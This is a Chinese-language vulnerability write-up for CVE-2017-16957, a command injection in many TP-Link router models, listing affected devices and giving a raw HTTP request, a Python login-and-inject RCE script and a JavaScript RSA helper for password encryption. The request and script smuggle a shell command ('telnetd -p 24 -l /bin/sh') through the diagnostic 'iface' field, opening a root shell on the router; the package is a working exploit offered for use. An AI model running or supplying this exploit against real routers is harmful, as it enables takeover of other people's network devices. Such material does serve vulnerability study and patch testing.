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    (CVE-2017-16957)TP-Link 命令注入漏洞.md
    25.44 KB / 2021-07-15 19:46:30
        ## 一、漏洞简介
    
    TP-Link TL-WVR等都是中国普联(TP-LINK)公司的无线路由器产品。
    
    多款TP-Link产品中存在命令注入漏洞。远程攻击者可通过向cgi-bin/luci发送face字段中带有shell元字符的admin/diagnostic命令利用该漏洞执行任意命令。
    
    ## 二、漏洞影响
    
    TP-LINK TL-WVR TP-LINK TL-WVR300 v4 TP-LINK TL-WVR302 v2 TP-LINK TL-WVR450 TP-LINK TL-WVR450L TP-LINK TL-WVR450G v5 TP-LINK TL-WVR458 TP-LINK TL-WVR458L TP-LINK TL-WVR458P TP-LINK TL-WVR900G v3 TP-LINK TL-WVR1200L TP-LINK TL-WVR900L TP-LINK TL-WVR1300L TP-LINK TL-WVR1300G TP-LINK TL-WVR1750L TP-LINK TL-WVR2600L TP-LINK TL-WVR4300L TP-LINK TL-WAR450 TP-LINK TL-WAR302 TP-LINK TL-WAR2600L TP-LINK TL-WAR1750L TP-LINK TL-WAR1300L TP-LINK TL-WAR1200L TP-LINK TL-WAR900L TP-LINK TL-WAR458 TP-LINK TL-WAR450L TP-LINK TL-ER5510G v2 TP-LINK TL-ER5510G v3 TP-LINK TL-ER5520G v2 TP-LINK TL-ER5520G v3 TP-LINK TL-ER6120G v2 TP-LINK TL-ER6520G v2 TP-LINK TL-ER6520G v3 TP-LINK TL-ER3210G TP-LINK TL-ER7520G TP-LINK TL-ER6520G TP-LINK TL-ER6510G TP-LINK TL-ER6220G TP-LINK TL-ER6120G TP-LINK TL-ER6110G TP-LINK TL-ER5120G TP-LINK TL-ER5110G TP-LINK TL-ER3220G TP-LINK TL-R479P-AC TP-LINK TL-R478G+ TP-LINK TL-R478G TP-LINK TL-R478+ TP-LINK TL-R478 TP-LINK TL-R473GP-AC TP-LINK TL-R473P-AC TP-LINK TL-R473G TP-LINK TL-R473 TP-LINK TL-R4299G TP-LINK TL-R4239G TP-LINK TL-R4149G TP-LINK TL-R488 TP-LINK TL-R483 TP-LINK TL-R483G TP-LINK TL-R479GP-AC TP-LINK TL-R479GPE-AC
    
    ## 三、复现过程
    
    ```
    POST /cgi-bin/luci/;stok=ea2178b4514da7ae227f4ec192536930/admin/diagnostic?form=diag HTTP/1.1
    Host: 0-sec.org
    Content-Length: 370
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.3.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://192.168.3.1/webpages/index.html
    Accept-Encoding: gzip, deflate
    Cookie: sysauth=be9b6f2b4b9a76a8a658e108c6197f2c
    Connection: close
    
    data=%7B%22method%22%3A%22start%22%2C%22params%22%3A%7B%22type%22%3A%220%22%2C%22type_hidden%22%3A%220%22%2C%22ipaddr_ping%22%3A%22baidu.com%22%2C%22iface_ping%22%3A%22WAN1%22%2C%22ipaddr%22%3A%22baidu.com%22%2C%22iface%22%3A%22%3Btelnetd+-p+24+-l+/bin/sh%22%2C%22count%22%3A%221%22%2C%22pktsize%22%3A%2264%22%2C%22my_result%22%3A%22The+Router+is+ready.%5Cr%5Cn%22%7D%7D
    ```
    
    ### 漏洞脚本
    
    ```python
    # Tested product: TL-WVR450L
    # Hardware version:V1.0
    # Firmware version: 20161125
    # The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
    # You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
    
    import execjs
    import requests
    import json
    import urllib
    
    
    def read_js():
        file = open("./RSA_Encryption_For_Tplink.js", 'r')
        line = file.readline()
        js = ''
        while line:
            js = js + line
            line = file.readline()
        file.close()
        return js
    
    
    def execute(ip, port, username, passwd, cmd):
    
        try:
            s = requests.session()
    
    
            uri = "http://{}:{}".format(ip,port)
            headers = {
                'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
                'Referer': 'http://{}/webpages/login.html'.format(ip)
                }
            payload = {
                "method":"get"
            }
            ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
            rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
            rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
            js = read_js()
            js_handle = execjs.compile(js)
            password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
    
    
            payload = {
                "method":"login",
                "params":{
                    "username":"{}".format(username),
                    "password":"{}".format(password)
                }
            }
            ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
            stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
            cookie = ret.headers['Set-Cookie']
    
    
            print '[+] Login success'
            print '[+] Get The Token: ' + stok
            print '[+] Get The Cookie: ' + cookie
    
    
            headers = {
                'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
                'Referer':'http://{}/webpages/login.html'.format(ip),
                'Cookie':'{}'.format(cookie)
                }
            payload = {
                "method":"start",
                "params":{
                    "type":"0",
                    "type_hidden":"0",
                    "ipaddr_ping":"127.0.0.1",
                    "iface_ping":"WAN1",
                    "ipaddr":"127.0.0.1",
                    "iface":";{}".format(cmd),
                    "count":"1",
                    "pktsize":"64",
                    "my_result":"exploit"
                }
            }
            ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
    
    
            #print ret.text
            print '[+] Finish RCE'
            print '--------------------------------------------------------------'
            return True
    
        except:
            return False
    
    
    if __name__=='__main__':
        print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
        print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
    ```
    
    ### RSA_Encryption_For_Tplink.js 文件
    
    ```js
    // Copyright (c) 2005  Tom Wu
    // All Rights Reserved.
    // See "LICENSE" for details.
    
    // Basic JavaScript BN library - subset useful for RSA encryption.
    
    // Bits per digit
    
    // JavaScript engine analysis
    
    
    var BI_RC = new Array();
    var BI_RM = "0123456789abcdefghijklmnopqrstuvwxyz";
    var dbits;
    var canary = 0xdeadbeefcafe;
    var j_lm = ((canary&0xffffff)==0xefcafe);
    var rng_psize = 256;
    var rng_state;
    var rng_pool;
    var rng_pptr;
    // Initialize the pool with junk if needed.
    BigInteger.prototype.am = am2;
    dbits = 30;
    BigInteger.prototype.DB = dbits;
    BigInteger.prototype.DM = ((1<<dbits)-1);
    BigInteger.prototype.DV = (1<<dbits);
    var BI_FP = 52;
    BigInteger.prototype.FV = Math.pow(2,BI_FP);
    BigInteger.prototype.F1 = BI_FP-dbits;
    BigInteger.prototype.F2 = 2*dbits-BI_FP;
    // protected
    BigInteger.prototype.copyTo = bnpCopyTo;
    BigInteger.prototype.fromInt = bnpFromInt;
    BigInteger.prototype.fromString = bnpFromString;
    BigInteger.prototype.clamp = bnpClamp;
    BigInteger.prototype.dlShiftTo = bnpDLShiftTo;
    BigInteger.prototype.drShiftTo = bnpDRShiftTo;
    BigInteger.prototype.lShiftTo = bnpLShiftTo;
    BigInteger.prototype.rShiftTo = bnpRShiftTo;
    BigInteger.prototype.subTo = bnpSubTo;
    BigInteger.prototype.multiplyTo = bnpMultiplyTo;
    BigInteger.prototype.squareTo = bnpSquareTo;
    BigInteger.prototype.divRemTo = bnpDivRemTo;
    BigInteger.prototype.invDigit = bnpInvDigit;
    BigInteger.prototype.isEven = bnpIsEven;
    BigInteger.prototype.exp = bnpExp;
    // public
    BigInteger.prototype.toString = bnToString;
    BigInteger.prototype.negate = bnNegate;
    BigInteger.prototype.abs = bnAbs;
    BigInteger.prototype.compareTo = bnCompareTo;
    BigInteger.prototype.bitLength = bnBitLength;
    BigInteger.prototype.mod = bnMod;
    BigInteger.prototype.modPowInt = bnModPowInt;
    // "constants"
    BigInteger.ZERO = nbv(0);
    BigInteger.ONE = nbv(1);
    // Digit conversions
    var rr,vv;
    rr = "0".charCodeAt(0);
    for(vv = 0; vv <= 9; ++vv) BI_RC[rr++] = vv;
    rr = "a".charCodeAt(0);
    for(vv = 10; vv < 36; ++vv) BI_RC[rr++] = vv;
    rr = "A".charCodeAt(0);
    for(vv = 10; vv < 36; ++vv) BI_RC[rr++] = vv;
    
    Classic.prototype.convert = cConvert;
    Classic.prototype.revert = cRevert;
    Classic.prototype.reduce = cReduce;
    Classic.prototype.mulTo = cMulTo;
    Classic.prototype.sqrTo = cSqrTo;    
    
    Arcfour.prototype.init = ARC4init;
    Arcfour.prototype.next = ARC4next;
    
    SecureRandom.prototype.nextBytes = rng_get_bytes;
    
    Montgomery.prototype.convert = montConvert;
    Montgomery.prototype.revert = montRevert;
    Montgomery.prototype.reduce = montReduce;
    Montgomery.prototype.mulTo = montMulTo;
    Montgomery.prototype.sqrTo = montSqrTo;
    Arcfour.prototype.init = ARC4init;
    Arcfour.prototype.next = ARC4next;
    
    
    // (public) Constructor
    function BigInteger(a,b,c) {
      if(a != null)
        if("number" == typeof a) this.fromNumber(a,b,c);
        else if(b == null && "string" != typeof a) this.fromString(a,256);
        else this.fromString(a,b);
    }
    
    // return new, unset BigInteger
    function nbi() { return new BigInteger(null); }
    
    // am: Compute w_j += (x*this_i), propagate carries,
    // c is initial carry, returns final carry.
    // c < 3*dvalue, x < 2*dvalue, this_i < dvalue
    // We need to select the fastest one that works in this environment.
    
    // am1: use a single mult and divide to get the high bits,
    // max digit bits should be 26 because
    // max internal value = 2*dvalue^2-2*dvalue (< 2^53)
    function am1(i,x,w,j,c,n) {
      while(--n >= 0) {
        var v = x*this[i++]+w[j]+c;
        c = Math.floor(v/0x4000000);
        w[j++] = v&0x3ffffff;
      }
      return c;
    }
    // am2 avoids a big mult-and-extract completely.
    // Max digit bits should be <= 30 because we do bitwise ops
    // on values up to 2*hdvalue^2-hdvalue-1 (< 2^31)
    function am2(i,x,w,j,c,n) {
      var xl = x&0x7fff, xh = x>>15;
      while(--n >= 0) {
        var l = this[i]&0x7fff;
        var h = this[i++]>>15;
        var m = xh*l+h*xl;
        l = xl*l+((m&0x7fff)<<15)+w[j]+(c&0x3fffffff);
        c = (l>>>30)+(m>>>15)+xh*h+(c>>>30);
        w[j++] = l&0x3fffffff;
      }
      return c;
    }
    // Alternately, set max digit bits to 28 since some
    // browsers slow down when dealing with 32-bit numbers.
    function am3(i,x,w,j,c,n) {
      var xl = x&0x3fff, xh = x>>14;
      while(--n >= 0) {
        var l = this[i]&0x3fff;
        var h = this[i++]>>14;
        var m = xh*l+h*xl;
        l = xl*l+((m&0x3fff)<<14)+w[j]+c;
        c = (l>>28)+(m>>14)+xh*h;
        w[j++] = l&0xfffffff;
      }
      return c;
    }
    
    function int2char(n) { return BI_RM.charAt(n); }
    function intAt(s,i) {
      var c = BI_RC[s.charCodeAt(i)];
      return (c==null)?-1:c;
    }
    
    // (protected) copy this to r
    function bnpCopyTo(r) {
      for(var i = this.t-1; i >= 0; --i) r[i] = this[i];
      r.t = this.t;
      r.s = this.s;
    }
    
    // (protected) set from integer value x, -DV <= x < DV
    function bnpFromInt(x) {
      this.t = 1;
      this.s = (x<0)?-1:0;
      if(x > 0) this[0] = x;
      else if(x < -1) this[0] = x+this.DV;
      else this.t = 0;
    }
    
    // return bigint initialized to value
    function nbv(i) { var r = nbi(); r.fromInt(i); return r; }
    
    // (protected) set from string and radix
    function bnpFromString(s,b) {
      var k;
      if(b == 16) k = 4;
      else if(b == 8) k = 3;
      else if(b == 256) k = 8; // byte array
      else if(b == 2) k = 1;
      else if(b == 32) k = 5;
      else if(b == 4) k = 2;
      else { this.fromRadix(s,b); return; }
      this.t = 0;
      this.s = 0;
      var i = s.length, mi = false, sh = 0;
      while(--i >= 0) {
        var x = (k==8)?s[i]&0xff:intAt(s,i);
        if(x < 0) {
          if(s.charAt(i) == "-") mi = true;
          continue;
        }
        mi = false;
        if(sh == 0)
          this[this.t++] = x;
        else if(sh+k > this.DB) {
          this[this.t-1] |= (x&((1<<(this.DB-sh))-1))<<sh;
          this[this.t++] = (x>>(this.DB-sh));
        }
        else
          this[this.t-1] |= x<<sh;
        sh += k;
        if(sh >= this.DB) sh -= this.DB;
      }
      if(k == 8 && (s[0]&0x80) != 0) {
        this.s = -1;
        if(sh > 0) this[this.t-1] |= ((1<<(this.DB-sh))-1)<<sh;
      }
      this.clamp();
      if(mi) BigInteger.ZERO.subTo(this,this);
    }
    
    // (protected) clamp off excess high words
    function bnpClamp() {
      var c = this.s&this.DM;
      while(this.t > 0 && this[this.t-1] == c) --this.t;
    }
    
    // (public) return string representation in given radix
    function bnToString(b) {
      if(this.s < 0) return "-"+this.negate().toString(b);
      var k;
      if(b == 16) k = 4;
      else if(b == 8) k = 3;
      else if(b == 2) k = 1;
      else if(b == 32) k = 5;
      else if(b == 4) k = 2;
      else return this.toRadix(b);
      var km = (1<<k)-1, d, m = false, r = "", i = this.t;
      var p = this.DB-(i*this.DB)%k;
      if(i-- > 0) {
        if(p < this.DB && (d = this[i]>>p) > 0) { m = true; r = int2char(d); }
        while(i >= 0) {
          if(p < k) {
            d = (this[i]&((1<<p)-1))<<(k-p);
            d |= this[--i]>>(p+=this.DB-k);
          }
          else {
            d = (this[i]>>(p-=k))&km;
            if(p <= 0) { p += this.DB; --i; }
          }
          if(d > 0) m = true;
          if(m) r += int2char(d);
        }
      }
      return m?r:"0";
    }
    
    // (public) -this
    function bnNegate() { var r = nbi(); BigInteger.ZERO.subTo(this,r); return r; }
    
    // (public) |this|
    function bnAbs() { return (this.s<0)?this.negate():this; }
    
    // (public) return + if this > a, - if this < a, 0 if equal
    function bnCompareTo(a) {
      var r = this.s-a.s;
      if(r != 0) return r;
      var i = this.t;
      r = i-a.t;
      if(r != 0) return (this.s<0)?-r:r;
      while(--i >= 0) if((r=this[i]-a[i]) != 0) return r;
      return 0;
    }
    
    // returns bit length of the integer x
    function nbits(x) {
      var r = 1, t;
      if((t=x>>>16) != 0) { x = t; r += 16; }
      if((t=x>>8) != 0) { x = t; r += 8; }
      if((t=x>>4) != 0) { x = t; r += 4; }
      if((t=x>>2) != 0) { x = t; r += 2; }
      if((t=x>>1) != 0) { x = t; r += 1; }
      return r;
    }
    
    // (public) return the number of bits in "this"
    function bnBitLength() {
      if(this.t <= 0) return 0;
      return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));
    }
    
    // (protected) r = this << n*DB
    function bnpDLShiftTo(n,r) {
      var i;
      for(i = this.t-1; i >= 0; --i) r[i+n] = this[i];
      for(i = n-1; i >= 0; --i) r[i] = 0;
      r.t = this.t+n;
      r.s = this.s;
    }
    
    // (protected) r = this >> n*DB
    function bnpDRShiftTo(n,r) {
      for(var i = n; i < this.t; ++i) r[i-n] = this[i];
      r.t = Math.max(this.t-n,0);
      r.s = this.s;
    }
    
    // (protected) r = this << n
    function bnpLShiftTo(n,r) {
      var bs = n%this.DB;
      var cbs = this.DB-bs;
      var bm = (1<<cbs)-1;
      var ds = Math.floor(n/this.DB), c = (this.s<<bs)&this.DM, i;
      for(i = this.t-1; i >= 0; --i) {
        r[i+ds+1] = (this[i]>>cbs)|c;
        c = (this[i]&bm)<<bs;
      }
      for(i = ds-1; i >= 0; --i) r[i] = 0;
      r[ds] = c;
      r.t = this.t+ds+1;
      r.s = this.s;
      r.clamp();
    }
    
    // (protected) r = this >> n
    function bnpRShiftTo(n,r) {
      r.s = this.s;
      var ds = Math.floor(n/this.DB);
      if(ds >= this.t) { r.t = 0; return; }
      var bs = n%this.DB;
      var cbs = this.DB-bs;
      var bm = (1<<bs)-1;
      r[0] = this[ds]>>bs;
      for(var i = ds+1; i < this.t; ++i) {
        r[i-ds-1] |= (this[i]&bm)<<cbs;
        r[i-ds] = this[i]>>bs;
      }
      if(bs > 0) r[this.t-ds-1] |= (this.s&bm)<<cbs;
      r.t = this.t-ds;
      r.clamp();
    }
    
    // (protected) r = this - a
    function bnpSubTo(a,r) {
      var i = 0, c = 0, m = Math.min(a.t,this.t);
      while(i < m) {
        c += this[i]-a[i];
        r[i++] = c&this.DM;
        c >>= this.DB;
      }
      if(a.t < this.t) {
        c -= a.s;
        while(i < this.t) {
          c += this[i];
          r[i++] = c&this.DM;
          c >>= this.DB;
        }
        c += this.s;
      }
      else {
        c += this.s;
        while(i < a.t) {
          c -= a[i];
          r[i++] = c&this.DM;
          c >>= this.DB;
        }
        c -= a.s;
      }
      r.s = (c<0)?-1:0;
      if(c < -1) r[i++] = this.DV+c;
      else if(c > 0) r[i++] = c;
      r.t = i;
      r.clamp();
    }
    
    // (protected) r = this * a, r != this,a (HAC 14.12)
    // "this" should be the larger one if appropriate.
    function bnpMultiplyTo(a,r) {
      var x = this.abs(), y = a.abs();
      var i = x.t;
      r.t = i+y.t;
      while(--i >= 0) r[i] = 0;
      for(i = 0; i < y.t; ++i) r[i+x.t] = x.am(0,y[i],r,i,0,x.t);
      r.s = 0;
      r.clamp();
      if(this.s != a.s) BigInteger.ZERO.subTo(r,r);
    }
    
    // (protected) r = this^2, r != this (HAC 14.16)
    function bnpSquareTo(r) {
      var x = this.abs();
      var i = r.t = 2*x.t;
      while(--i >= 0) r[i] = 0;
      for(i = 0; i < x.t-1; ++i) {
        var c = x.am(i,x[i],r,2*i,0,1);
        if((r[i+x.t]+=x.am(i+1,2*x[i],r,2*i+1,c,x.t-i-1)) >= x.DV) {
          r[i+x.t] -= x.DV;
          r[i+x.t+1] = 1;
        }
      }
      if(r.t > 0) r[r.t-1] += x.am(i,x[i],r,2*i,0,1);
      r.s = 0;
      r.clamp();
    }
    
    // (protected) divide this by m, quotient and remainder to q, r (HAC 14.20)
    // r != q, this != m.  q or r may be null.
    function bnpDivRemTo(m,q,r) {
      var pm = m.abs();
      if(pm.t <= 0) return;
      var pt = this.abs();
      if(pt.t < pm.t) {
        if(q != null) q.fromInt(0);
        if(r != null) this.copyTo(r);
        return;
      }
      if(r == null) r = nbi();
      var y = nbi(), ts = this.s, ms = m.s;
      var nsh = this.DB-nbits(pm[pm.t-1]);    // normalize modulus
      if(nsh > 0) { pm.lShiftTo(nsh,y); pt.lShiftTo(nsh,r); }
      else { pm.copyTo(y); pt.copyTo(r); }
      var ys = y.t;
      var y0 = y[ys-1];
      if(y0 == 0) return;
      var yt = y0*(1<<this.F1)+((ys>1)?y[ys-2]>>this.F2:0);
      var d1 = this.FV/yt, d2 = (1<<this.F1)/yt, e = 1<<this.F2;
      var i = r.t, j = i-ys, t = (q==null)?nbi():q;
      y.dlShiftTo(j,t);
      if(r.compareTo(t) >= 0) {
        r[r.t++] = 1;
        r.subTo(t,r);
      }
      BigInteger.ONE.dlShiftTo(ys,t);
      t.subTo(y,y);    // "negative" y so we can replace sub with am later
      while(y.t < ys) y[y.t++] = 0;
      while(--j >= 0) {
        // Estimate quotient digit
        var qd = (r[--i]==y0)?this.DM:Math.floor(r[i]*d1+(r[i-1]+e)*d2);
        if((r[i]+=y.am(0,qd,r,j,0,ys)) < qd) {    // Try it out
          y.dlShiftTo(j,t);
          r.subTo(t,r);
          while(r[i] < --qd) r.subTo(t,r);
        }
      }
      if(q != null) {
        r.drShiftTo(ys,q);
        if(ts != ms) BigInteger.ZERO.subTo(q,q);
      }
      r.t = ys;
      r.clamp();
      if(nsh > 0) r.rShiftTo(nsh,r);    // Denormalize remainder
      if(ts < 0) BigInteger.ZERO.subTo(r,r);
    }
    
    // (public) this mod a
    function bnMod(a) {
      var r = nbi();
      this.abs().divRemTo(a,null,r);
      if(this.s < 0 && r.compareTo(BigInteger.ZERO) > 0) a.subTo(r,r);
      return r;
    }
    
    // Modular reduction using "classic" algorithm
    function Classic(m) { this.m = m; }
    function cConvert(x) {
      if(x.s < 0 || x.compareTo(this.m) >= 0) return x.mod(this.m);
      else return x;
    }
    function cRevert(x) { return x; }
    function cReduce(x) { x.divRemTo(this.m,null,x); }
    function cMulTo(x,y,r) { x.multiplyTo(y,r); this.reduce(r); }
    function cSqrTo(x,r) { x.squareTo(r); this.reduce(r); }
    
    // (protected) return "-1/this % 2^DB"; useful for Mont. reduction
    // justification:
    //         xy == 1 (mod m)
    //         xy =  1+km
    //   xy(2-xy) = (1+km)(1-km)
    // x[y(2-xy)] = 1-k^2m^2
    // x[y(2-xy)] == 1 (mod m^2)
    // if y is 1/x mod m, then y(2-xy) is 1/x mod m^2
    // should reduce x and y(2-xy) by m^2 at each step to keep size bounded.
    // JS multiply "overflows" differently from C/C++, so care is needed here.
    function bnpInvDigit() {
      if(this.t < 1) return 0;
      var x = this[0];
      if((x&1) == 0) return 0;
      var y = x&3;        // y == 1/x mod 2^2
      y = (y*(2-(x&0xf)*y))&0xf;    // y == 1/x mod 2^4
      y = (y*(2-(x&0xff)*y))&0xff;    // y == 1/x mod 2^8
      y = (y*(2-(((x&0xffff)*y)&0xffff)))&0xffff;    // y == 1/x mod 2^16
      // last step - calculate inverse mod DV directly;
      // assumes 16 < DB <= 32 and assumes ability to handle 48-bit ints
      y = (y*(2-x*y%this.DV))%this.DV;        // y == 1/x mod 2^dbits
      // we really want the negative inverse, and -DV < y < DV
      return (y>0)?this.DV-y:-y;
    }
    
    // Montgomery reduction
    function Montgomery(m) {
      this.m = m;
      this.mp = m.invDigit();
      this.mpl = this.mp&0x7fff;
      this.mph = this.mp>>15;
      this.um = (1<<(m.DB-15))-1;
      this.mt2 = 2*m.t;
    }
    
    // xR mod m
    function montConvert(x) {
      var r = nbi();
      x.abs().dlShiftTo(this.m.t,r);
      r.divRemTo(this.m,null,r);
      if(x.s < 0 && r.compareTo(BigInteger.ZERO) > 0) this.m.subTo(r,r);
      return r;
    }
    
    // x/R mod m
    function montRevert(x) {
      var r = nbi();
      x.copyTo(r);
      this.reduce(r);
      return r;
    }
    
    // x = x/R mod m (HAC 14.32)
    function montReduce(x) {
      while(x.t <= this.mt2)    // pad x so am has enough room later
        x[x.t++] = 0;
      for(var i = 0; i < this.m.t; ++i) {
        // faster way of calculating u0 = x[i]*mp mod DV
        var j = x[i]&0x7fff;
        var u0 = (j*this.mpl+(((j*this.mph+(x[i]>>15)*this.mpl)&this.um)<<15))&x.DM;
        // use am to combine the multiply-shift-add into one call
        j = i+this.m.t;
        x[j] += this.m.am(0,u0,x,i,0,this.m.t);
        // propagate carry
        while(x[j] >= x.DV) { x[j] -= x.DV; x[++j]++; }
      }
      x.clamp();
      x.drShiftTo(this.m.t,x);
      if(x.compareTo(this.m) >= 0) x.subTo(this.m,x);
    }
    
    // r = "x^2/R mod m"; x != r
    function montSqrTo(x,r) { x.squareTo(r); this.reduce(r); }
    
    // r = "xy/R mod m"; x,y != r
    function montMulTo(x,y,r) { x.multiplyTo(y,r); this.reduce(r); }
    
    // (protected) true iff this is even
    function bnpIsEven() { return ((this.t>0)?(this[0]&1):this.s) == 0; }
    
    // (protected) this^e, e < 2^32, doing sqr and mul with "r" (HAC 14.79)
    function bnpExp(e,z) {
      if(e > 0xffffffff || e < 1) return BigInteger.ONE;
      var r = nbi(), r2 = nbi(), g = z.convert(this), i = nbits(e)-1;
      g.copyTo(r);
      while(--i >= 0) {
        z.sqrTo(r,r2);
        if((e&(1<<i)) > 0) z.mulTo(r2,g,r);
        else { var t = r; r = r2; r2 = t; }
      }
      return z.revert(r);
    }
    
    // (public) this^e % m, 0 <= e < 2^32
    function bnModPowInt(e,m) {
      var z;
      if(e < 256 || m.isEven()) z = new Classic(m); else z = new Montgomery(m);
      return this.exp(e,z);
    }
    
    // prng4.js - uses Arcfour as a PRNG
    
    function Arcfour() {
      this.i = 0;
      this.j = 0;
      this.S = new Array();
    }
    
    // Initialize arcfour context from key, an array of ints, each from [0..255]
    function ARC4init(key) {
      var i, j, t;
      for(i = 0; i < 256; ++i)
        this.S[i] = i;
      j = 0;
      for(i = 0; i < 256; ++i) {
        j = (j + this.S[i] + key[i % key.length]) & 255;
        t = this.S[i];
        this.S[i] = this.S[j];
        this.S[j] = t;
      }
      this.i = 0;
      this.j = 0;
    }
    
    function ARC4next() {
      var t;
      this.i = (this.i + 1) & 255;
      this.j = (this.j + this.S[this.i]) & 255;
      t = this.S[this.i];
      this.S[this.i] = this.S[this.j];
      this.S[this.j] = t;
      return this.S[(t + this.S[this.i]) & 255];
    }
    
    // Plug in your RNG constructor here
    function prng_newstate() {
      return new Arcfour();
    }
    
    // Mix in a 32-bit integer into the pool
    function rng_seed_int(x) {
      rng_pool[rng_pptr++] ^= x & 255;
      rng_pool[rng_pptr++] ^= (x >> 8) & 255;
      rng_pool[rng_pptr++] ^= (x >> 16) & 255;
      rng_pool[rng_pptr++] ^= (x >> 24) & 255;
      if(rng_pptr >= rng_psize) rng_pptr -= rng_psize;
    }
    
    // Mix in the current time (w/milliseconds) into the pool
    function rng_seed_time() {
      rng_seed_int(new Date().getTime());
    }
    
    function rng_get_byte() {
      if(rng_state == null) {
        rng_seed_time();
        rng_state = prng_newstate();
        rng_state.init(rng_pool);
        for(rng_pptr = 0; rng_pptr < rng_pool.length; ++rng_pptr)
          rng_pool[rng_pptr] = 0;
        rng_pptr = 0;
        //rng_pool = null;
      }
      // TODO: allow reseeding after first request
      return rng_state.next();
    }
    
    function rng_get_bytes(ba) {
      var i;
      for(i = 0; i < ba.length; ++i) ba[i] = rng_get_byte();
    }
    
    function SecureRandom() {}
    
    // Depends on jsbn.js and rng.js
    
    // Version 1.1: support utf-8 encoding in pkcs1pad2
    
    // convert a (hex) string to a bignum object
    function parseBigInt(str,r) {
      return new BigInteger(str,r);
    }
    
    function linebrk(s,n) {
      var ret = "";
      var i = 0;
      while(i + n < s.length) {
        ret += s.substring(i,i+n) + "\n";
        i += n;
      }
      return ret + s.substring(i,s.length);
    }
    
    function byte2Hex(b) {
      if(b < 0x10)
        return "0" + b.toString(16);
      else
        return b.toString(16);
    }
    
    // PKCS#1 (type 2, random) pad input string s to n bytes, and return a bigint
    function pkcs1pad2(s,n) {
      if(n < s.length + 11) { // TODO: fix for utf-8
        alert("Message too long for RSA");
        return null;
      }
      var ba = new Array();
      var i = s.length - 1;
      while(i >= 0 && n > 0) {
        var c = s.charCodeAt(i--);
        if(c < 128) { // encode using utf-8
          ba[--n] = c;
        }
        else if((c > 127) && (c < 2048)) {
          ba[--n] = (c & 63) | 128;
          ba[--n] = (c >> 6) | 192;
        }
        else {
          ba[--n] = (c & 63) | 128;
          ba[--n] = ((c >> 6) & 63) | 128;
          ba[--n] = (c >> 12) | 224;
        }
      }
      ba[--n] = 0;
      var rng = new SecureRandom();
      var x = new Array();
      while(n > 2) { // random non-zero pad
        x[0] = 0;
        while(x[0] == 0) rng.nextBytes(x);
        ba[--n] = x[0];
      }
      ba[--n] = 2;
      ba[--n] = 0;
      return new BigInteger(ba);
    }
    
    function nopadding(s,n) {
        if(n < s.length) { // TODO: fix for utf-8
            alert("Message too long for RSA");
            return null;
        };
        //console.log(s, n)
        var ba = new Array();
        var i = 0;
        var j = 0;
        while(i < s.length && j < n) {
            var c = s.charCodeAt(i++);
            if(c < 128) { // encode using utf-8
                ba[j++] = c;
            }else if((c > 127) && (c < 2048)){
                ba[j++] = (c & 63) | 128;
                ba[j++] = (c >> 6) | 192;
            }else{
                ba[j++] = (c & 63) | 128;
                ba[j++] = ((c >> 6) & 63) | 128;
                ba[j++] = (c >> 12) | 224;
                }
            };
        while (j < n) {
            ba[j++] = 0;
            };
        //console.log(ba)
        return new BigInteger(ba);
    }
    
    // "empty" RSA key constructor
    function RSAKey() {
      this.n = null;
      this.e = 0;
      this.d = null;
      this.p = null;
      this.q = null;
      this.dmp1 = null;
      this.dmq1 = null;
      this.coeff = null;
    }
    
    // Set the public key fields N and e from hex strings
    function RSASetPublic(N,E) {
      if(N != null && E != null && N.length > 0 && E.length > 0) {
        this.n = parseBigInt(N,16);
        this.e = parseInt(E,16);
      }
      else
        alert("Invalid RSA public key");
    }
    
    // Perform raw public operation on "x": return x^e (mod n)
    function RSADoPublic(x) {
      return x.modPowInt(this.e, this.n);
    }
    
    // Return the PKCS#1 RSA encryption of "text" as an even-length hex string
    function RSAEncrypt(text) {
      var m = nopadding(text,(this.n.bitLength()+7)>>3);
      if(m == null) return null;
      var c = this.doPublic(m);
      if(c == null) return null;
      var h = c.toString(16);
      if((h.length & 1) == 0) return h; else return "0" + h;
    }
    
    
    function MainEncrypt(n,e,message) {
        RSAKey.prototype.doPublic = RSADoPublic;
        RSAKey.prototype.setPublic = RSASetPublic;
        RSAKey.prototype.encrypt = RSAEncrypt;
    
        var rsa = new RSAKey();
    
        rsa.setPublic(n,e);
        var passwd = rsa.encrypt(message);
        return passwd;
    }
    ```
    
    ## 四、参考链接
    
    > https://www.03sec.com/3207.shtml
    
    links
    file_download